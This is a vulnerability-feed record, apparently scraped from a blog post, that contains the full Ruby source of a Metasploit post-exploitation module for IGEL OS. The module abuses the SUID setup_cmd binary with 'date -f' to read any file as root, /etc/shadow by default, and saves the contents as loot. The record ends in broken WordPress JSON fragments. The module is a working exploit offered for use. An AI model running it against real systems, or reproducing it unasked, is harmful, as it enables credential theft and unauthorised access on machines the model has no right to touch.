{“lastseen”:”2025-11-26T19:04:37″,”description”:”Dump a file with escalated privileges for IGEL OS Workspace Edition sessions, by elevating rights with setupcmd SUID and outputting with date. Module Options msf use post\/linux\/gather\/igeldumpfile msf postigeldumpfile show actions …actions… msf…”,”published”:”2025-11-26T18:53:51″,”modified”:”2025-11-26T18:53:51″,”type”:”metasploit”,”title”:”IGEL OS Dump File”,”source”:””,”references”:””,”id”:”MSF:POST-LINUX-GATHER-IGEL_DUMP_FILE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Post\\n include Msf::Post::File\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘IGEL OS Dump File’,\\n ‘Description’ =\\u003e %q{\\n Dump a file with escalated privileges for IGEL OS Workspace Edition sessions,\\n by elevating rights with setup_cmd (SUID) and outputting with date.\\n },\\n ‘Author’ =\\u003e ‘Zack Didcott’,\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Platform’ =\\u003e [‘linux’],\\n ‘SessionTypes’ =\\u003e [‘shell’, ‘meterpreter’],\\n ‘DisclosureDate’ =\\u003e ‘2024-03-07’, # Patch release date\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e []\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘RPATH’, [true, ‘File on the target to dump’, ‘\/etc\/shadow’])\\n ])\\n end\\n\\n def check\\n version = Rex::Version.new(\\n read_file(‘\/etc\/system-release’).delete_prefix(‘IGEL OS’).strip\\n )\\n unless version \\u003c Rex::Version.new(‘11.09.260’)\\n return Exploit::CheckCode::Safe(\\”IGEL OS #{version} is not vulnerable\\”)\\n end\\n\\n unless file?(‘\/etc\/setupd-usercommands.json’)\\n return Exploit::CheckCode::Appears(\\”IGEL OS #{version} appears to be vulnerable\\”)\\n end\\n\\n Exploit::CheckCode::Appears(\\”IGEL OS #{version} should be vulnerable\\”)\\n end\\n\\n def run\\n unless [\\n Exploit::CheckCode::Detected,\\n Exploit::CheckCode::Appears,\\n Exploit::CheckCode::Vulnerable\\n ].include?(check)\\n fail_with(Failure::NotVulnerable, ‘Target is not vulnerable’)\\n end\\n\\n print_status(‘Executing command on target’)\\n output = create_process(‘\/config\/bin\/setup_cmd’, args: [‘\/bin\/date’, ‘-f’, datastore[‘RPATH’]])\\n\\n print_status(‘Command completed:’)\\n data = []\\n output.lines[1..].each do |line|\\n line = line.strip.delete_prefix(\\n ‘\/bin\/date: invalid date \u2018’\\n ).delete_suffix(‘\u2019’)\\n data \\u003c\\u003c line\\n print_line(line)\\n end\\n\\n fname = File.basename(datastore[‘RPATH’].downcase)\\n loot = store_loot(\\”igel.#{fname}\\”, ‘text\/plain’, session, data.join(\\”\\\\n\\”), datastore[‘RPATH’])\\n print_status(\\”#{datastore[‘RPATH’]} stored in #{loot}\\”)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/post\/linux\/gather\/igel_dump_file.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/post\/linux\/gather\/igel_dump_file\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T19:04:37″,”description”:”Dump a file with escalated privileges for IGEL OS Workspace Edition sessions, by elevating rights with setupcmd SUID and outputting with date. Module Options msf…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-27758","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n